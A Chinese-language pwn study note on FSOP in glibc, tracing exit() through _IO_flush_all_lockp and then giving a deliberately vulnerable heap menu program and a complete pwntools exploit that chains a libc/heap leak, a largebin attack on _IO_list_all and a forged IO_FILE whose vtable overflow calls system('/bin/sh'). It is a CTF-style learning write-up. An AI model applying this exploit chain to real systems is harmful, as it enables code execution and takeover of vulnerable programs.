【我的 PWN 学习手札】IO_FILE 之 FSOP

FSOP:File Stream Oriented Programming

通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus,进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。

目录

前言

一、glibc-exit函数浅析

二、FSOP

三、Largebin attack + FSOP

(一)Leak libc

(二)Largebin attack

(三)FSOP 

(四)调试追踪调用

(五)EXP


前言

我们将着重关注vtable中的_IO_file_overflow函数指针。

当函数exit时,程序执行_IO_flush_all_lockp 函数。该函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的_IO_overflow。

参考宝藏博主:linux IO_FILE 利用_io list all结构体-CSDN博客 


一、glibc-exit函数浅析

一般FSOP可以通过exit来触发布置好的fake IO,我们来粗略过一遍流程

// exit.c
void exit(int status)
{
  __run_exit_handlers(status, &__exit_funcs, true);
}
libc_hidden_def(exit)

/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
    attribute_hidden
    __run_exit_handlers(int status, struct exit_function_list **listp,
                        bool run_list_atexit)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    __call_tls_dtors();

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (*listp != NULL)
  {
    struct exit_function_list *cur = *listp;

    while (cur->idx > 0)
    {
      const struct exit_function *const f =
          &cur->fns[--cur->idx];
      switch (f->flavor)
      {
        void (*atfct)(void);
        void (*onfct)(int status, void *arg);
        void (*cxafct)(void *arg, int status);

      case ef_free:
      case ef_us:
        break;
      case ef_on:
        onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
        PTR_DEMANGLE(onfct);
#endif
        onfct(status, f->func.on.arg);
        break;
      case ef_at:
        atfct = f->func.at;
#ifdef PTR_DEMANGLE
        PTR_DEMANGLE(atfct);
#endif
        atfct();
        break;
      case ef_cxa:
        cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
        PTR_DEMANGLE(cxafct);
#endif
        cxafct(f->func.cxa.arg, status);
        break;
      }
    }

    *listp = cur->next;
    if (*listp != NULL)
      /* Don't free the last element in the chain, this is the statically
         allocate element.  */
      free(cur);
  }

  if (run_list_atexit)
    RUN_HOOK(__libc_atexit, ());

  _exit(status);
}

exit实际调用了__run_exit_handlers函数。它的作用是在程序退出时调用所有通过 atexit 和 on_exit 注册的函数,并执行标准 I/O 清理,最终终止程序执行。

对于函数参数中的&__exit_funcs,可以继续追踪定位到其实现:

// cxa_atexit.c

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int __cxa_atexit(void (*func)(void *), void *arg, void *d)
{
  return __internal_atexit(func, arg, d, &__exit_funcs);
}
libc_hidden_def(__cxa_atexit)

    /* We change global data, so we need locking.  */
    __libc_lock_define_initialized(static, lock)

        static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

对于“执行标准 I/O 清理”操作我们更为关心,chat得知是下述函数实现:

  if (run_list_atexit)
    RUN_HOOK(__libc_atexit, ());

 经过全局搜索可追溯到:

// genops.c
#ifdef text_set_element
text_set_element(__libc_atexit, _IO_cleanup);
#endif

此处已经看到,执行了IO清理的操作,继续追溯:

int
_IO_cleanup (void)
{
  /* We do *not* want locking.  Some threads might use streams but
     that is their problem, we flush them underneath them.  */
  int result = _IO_flush_all_lockp (0);

  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}


int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

至此看到,对于_IO_list_all上的IO_FILE链,都执行_IO_OVERFLOW的操作。 

二、FSOP

劫持 _IO_list_all 的方式一般有两种:

  1. 修改 IO_FILE 结构体,为了不影响 IO 建议修改 _IO_2_1_stderr 结构体。
  2. 利用例如 large bin attack 的攻击方法将 _IO_list_all 覆盖成一个 chunk 地址,然后在该 chunk 上伪造 IO_FILE 结构体。 

        在劫持 _IO_2_1_stderr 时除了修改 vtable 指针指向伪造 vtable 外,要想调用 _IO_2_1_stderr 还需要修改 以满足以下条件:

fp->_mode _IO_write_ptr > fp->_IO_write_base

        因此不妨将 vtable 伪造在 _IO_2_1_stderr + 0x10 处使 _IO_overflow , _IO_2_1_stderr 的 fp->_IO_write_ptr 恰好对应于 vtable 的 _IO_overflow 。然后将fp->_IO_write_ptr 写入 system 函数地址。由于_IO_overflow 传入的参数为_IO_2_1_stderr 结构体,因此将结构体其实位置处写入 /bin/sh 字符串。 

                                                                                                                  ——by _sky123_

这里通过模板题,利用largebin attack来实现FSOP 

三、Largebin attack + FSOP

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

(一)Leak libc

同时为了准备largebin attack,申请largebin范围大小的chunk

# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)

show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))

(二)Largebin attack

# Largebin attack
add(0,0x418)
add(10,0x500)   
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))     
delete(0)
add(10,0x500)

确实写了一个堆地址,但是为了能够布置数据,我们希望能将堆申请出来。为此我们不通过申请大chunk来触发largebin attack,而是申请一个小chunk,释放unsortedbin chunk到largebin中触发,又从largebin中取出chunk,到unsortedbin。至此largebin里只剩下目标chunk,我们再恢复一下相关指针,就可以将该chunk malloc出来。

修改上述exp片段代码

# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(10,0x10)

可以看到unsortedbin里有一个chunk,largebin生下了目标chunk,接下来恢复指针

# fd、bk指向libc,fd_nextsize、bk_nextsize指向自己
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)

接下来申请出目标chunk

add(0,0x428)

(三)FSOP 

可见我们可控的区域实际上偏移了0x10,为此我们可以通过物理临近的前一个chunk复用prev_size字段来修改。

IO_FILE有模板,这里给出(来自这个大佬的博客) 

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable

由于缺了0x10可控,这里需要薛微调整一下:

fake_file = b""
# fake_file += b"/bin/sh\x00"  # _flags, an magic number
# fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
fake_file += p64(heap_base+0x460 + 0x10)  # fake vtable
edit(0,fake_file)

然后就:

pwndbg> p *_IO_list_all
$4 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x72d08ec3f560 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x72d08ef9c620 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "\n",
    _lock = 0x72d08ef9e4c0 <prof_info+160>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x72d08ef9c4c0 <_nl_global_locale+160>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x5e7f135df470
}
pwndbg> p *_IO_list_all.vtable 
$5 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x0,
  __overflow = 0x72d08ec3f560 <__libc_system>,
  __underflow = 0x0,
  __uflow = 0x0,
  __pbackfail = 0x0,
  __xsputn = 0x0,
  __xsgetn = 0x0,
  __seekoff = 0x0,
  __seekpos = 0x0,
  __setbuf = 0x72d08ef9c620 <_IO_2_1_stdout_>,
  __sync = 0x2,
  __doallocate = 0xffffffffffffffff,
  __read = 0xa000000,
  __write = 0x72d08ef9e4c0 <prof_info+160>,
  __seek = 0xffffffffffffffff,
  __close = 0x0,
  __stat = 0x72d08ef9c4c0 <_nl_global_locale+160>,
  __showmanyc = 0x0,
  __imbue = 0x0
}

然后我们通过chunk_list[1]来布置"/bin/sh\x00"

edit(1,p64(0)*2+b'/bin/sh\x00')

(四)调试追踪调用

exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> fileop.vtable.overflow

fileop已经被我们劫持,也在该结构体头布置了”/bin/sh\x00"参数,因此执行system("/bin/sh\x00")

(五)EXP 

from pwn import *

elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.arch=elf.arch
context.log_level='debug'
context.os=elf.os
def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())

def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())

def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)

def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())

io=process("./pwn")


# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)

show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))

# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))  # 0x39bf68
delete(0)
add(10,0x10)
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)
add(0,0x428)

fake_file = b""
# fake_file += b"/bin/sh\x00"  # _flags, an magic number
# fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
fake_file += p64(heap_base+0x460 + 0x10)  # fake vtable
edit(0,fake_file)
edit(1,p64(0)*2+b'/bin/sh\x00')

gdb.attach(io,'b exit\nc')

io.interactive()

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/951373.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

语音技术与人工智能:智能语音交互的多场景应用探索

引言 近年来&#xff0c;智能语音技术取得了飞速发展&#xff0c;逐渐渗透到日常生活和各行各业中。从语音助手到智能家居控制&#xff0c;再到企业客服和教育辅导&#xff0c;语音交互正以前所未有的速度改变着人机沟通的方式。这一变革背后&#xff0c;人工智能技术无疑是关键…

三、Angular 路由

一、简介 Angular 的路由服务是一个可选的服务&#xff0c;它用来呈现指定的 URL 所对应的视图。它并不是Angular 核心库的一部分&#xff0c;而是位于 angular/router 包中。像其他 Angular 包一样&#xff0c;路由服务在用户需要时才从此包中导入。 [1]. 创建路由模块 默认…

NFS 组件容器化部署实战指南

文章目录 前言部署NFS服务器K8S部署NFS问题记录 前言 使用nfs-client-provisioner这个应用&#xff0c;利用nfs server给kubernets提供作为持久化后端&#xff0c;并且动态提供pv。所有节点需要安装nfs-utils组件&#xff0c;并且nfs服务器与kubernets worker节点都能网络连通…

uc/os-II 原理及应用(八) 系统裁减以及移植到51单片机上

两个习题 先了解下CPU上函数调用的过程: 一个程序取得函数地址&#xff0c;先保护现场将局部变量及参数压栈&#xff0c;再将调用函数的参数压栈&#xff0c;然后跳转到函数位置&#xff0c;将参数出栈&#xff0c;执行代码&#xff0c;结束后返回到调用位置&#xff0c;再怖复…

el-table自定义按钮控制扩展expand

需求&#xff1a;自定义按钮实现表格扩展内容的展开和收起&#xff0c;实现如下&#xff1a; 将type“expand”的表格列的宽度设置为width"1"&#xff0c;让该操作列不展示出来&#xff0c;然后通过ref动态调用组件的内部方法toggleRowExpansion(row, row.expanded)控…

NLP中常见的分词算法(BPE、WordPiece、Unigram、SentencePiece)

文章目录 一、基本概念二、传统分词方法2.1 古典分词方法2.2 拆分为单个字符 三、基于子词的分词方法&#xff08;Subword Tokenization&#xff09;3.1 主要思想3.2 主流的 Subword 算法3.3 Subword 与 传统分词方法的比较 四、Byte Pair Encoding (BPE)4.1 主要思想4.2 算法过…

MTK平台-- 无线AP隔离功能

前言: 无线AP上大都有一个选项:启用该功能后,连接到同一AP的无线终端之间不能互相通信,但该功能并不限制无线终端和有线终端之间的通信。 Hostapd参数ap_isolate,用于控制AP隔离,但hostapd本身并不实现这一功能,只是将该参数通过nl80211传递给mac80211,由mac80211来实…

redis:安装部署、升级以及失败回退

安装部署 一、准备工作 1. 检查系统要求 确保你的服务器满足 Redis 的基本要求: 操作系统:支持的 Linux 发行版(如 Ubuntu, CentOS)内存:至少 4GB(根据实际应用需求调整)CPU:单核或多核 CPU磁盘空间:足够的磁盘空间用于数据存储和日志记录2. 更新系统软件包 在开始…

模型 断裂点理论(风险控制)

系列文章 分享模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。设置小损失&#xff0c;防止大风险。 1 断裂点理论的应用 1.1 电路系统中的保险丝应用 背景介绍&#xff1a; 在工程学中&#xff0c;电路系统是现代科技中不可或缺的一部分&#xff0c;广泛应用于各…

通义灵码在跨领域应用拓展之物联网篇

目录 一.引言 二.通义灵码简介 三.通义灵码在物联网领域的设备端应用 1.传感器数据采集 (1).不同类型传感器的数据读取 (2).数据转换与预处理 2.设备控制指令接收和执行 (1).指令解析与处理 (2).设备动作执行 四.通义灵码在物联网领域的云端平台应用 1.数据存储和管…

Win32汇编学习笔记09.SEH和反调试

Win32汇编学习笔记09.SEH和反调试-C/C基础-断点社区-专业的老牌游戏安全技术交流社区 - BpSend.net SEH - structed exception handler 结构化异常处理 跟筛选一样都是用来处理异常的,但不同的是 筛选器是整个进程最终处理异常的函数,但无法做到比较精细的去处理异常(例如处理…

详细数据库MySQL查询语句

查询语句 &#xff08;SELECT [ALL|DISTINCT] <目标列表达式> [,<目标列表达式>] FROM <表名或视图名> [,<表名或视图名>]|(<SELECT 语句>) [AS] <别名> [WHERE <条件表达式>] [GROUP BY <列名1> [HAVING <条件表达式…

解决anaconda prompt找不到的情况

由于打开某个文件夹导致系统卡死了&#xff0c;鼠标使用不了&#xff0c;只能使用快捷键ctrlaltdelete打开&#xff0c;点任务管理器也没什么用&#xff0c;就点了注销选项。 注销&#xff1a;清空缓存空间和注册表信息&#xff0c;向系统发出清除现在登陆的用户的请求。 导致…

计算机网络 (31)运输层协议概念

一、概述 从通信和信息处理的角度看&#xff0c;运输层向它上面的应用层提供通信服务&#xff0c;它属于面向通信部分的最高层&#xff0c;同时也是用户功能中的最低层。运输层的一个核心功能是提供从源端主机到目的端主机的可靠的、与实际使用的网络无关的信息传输。它向高层用…

【C++经典例题】求1+2+3+...+n,要求不能使用乘除法、for、while、if、else、switch、case等关键字及条件判断语句

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a; 期待您的关注 题目描述&#xff1a; 原题链接&#xff1a; 求123...n_牛客题霸_牛客网 (nowcoder.com) 解题思路&#xff1a; …

开关不一定是开关灯用 - 命令模式(Command Pattern)

命令模式&#xff08;Command Pattern&#xff09; 命令模式&#xff08;Command Pattern&#xff09;命令设计模式命令设计模式结构图命令设计模式涉及的角色 talk is cheap&#xff0c; show you my code总结 命令模式&#xff08;Command Pattern&#xff09; 命令模式&…

【深度学习量化交易13】继续优化改造基于miniQMT的量化交易软件,增加补充数据功能,优化免费下载数据模块体验!

我是Mr.看海&#xff0c;我在尝试用信号处理的知识积累和思考方式做量化交易&#xff0c;应用深度学习和AI实现股票自动交易&#xff0c;目的是实现财务自由~ 目前我正在开发基于miniQMT的量化交易系统——看海量化交易系统。 MiniQMT是一种轻量级的量化交易解决方案&#xff0…

Vue进阶(贰幺贰)npm run build多环境编译

文章目录 一、前言二、实施三、总结&#xff1a;需要打包区分不同环境四、拓展阅读 一、前言 项目开发阶段&#xff0c;会涉及打包部署到多个环境应用场景&#xff0c;在不同环境中&#xff0c;需要进行项目层面的区分&#xff0c;做不同的操作&#xff0c;可以利用打包的--mo…

回归预测 | MATLAB实GRU多输入单输出回归预测

回归预测 | MATLAB实GRU多输入单输出回归预测 目录 回归预测 | MATLAB实GRU多输入单输出回归预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 回归预测 | MATLAB实GRU多输入单输出回归预测。使用GRU作为RNN的一种变体来处理时间序列数据。GRU相比传统的RNN有较好的记…

ARM交叉编译Boost库

Boost下载&#xff1a;点击跳转 编译过程&#xff1a; 生成project-config.jam ./bootstrap.sh --with-librariesfilesystem,thread --with-toolsetgcc 2. 修改project-config.jam&#xff08;位于第12行附近&#xff09; if ! gcc in [ feature.values <toolset> ] …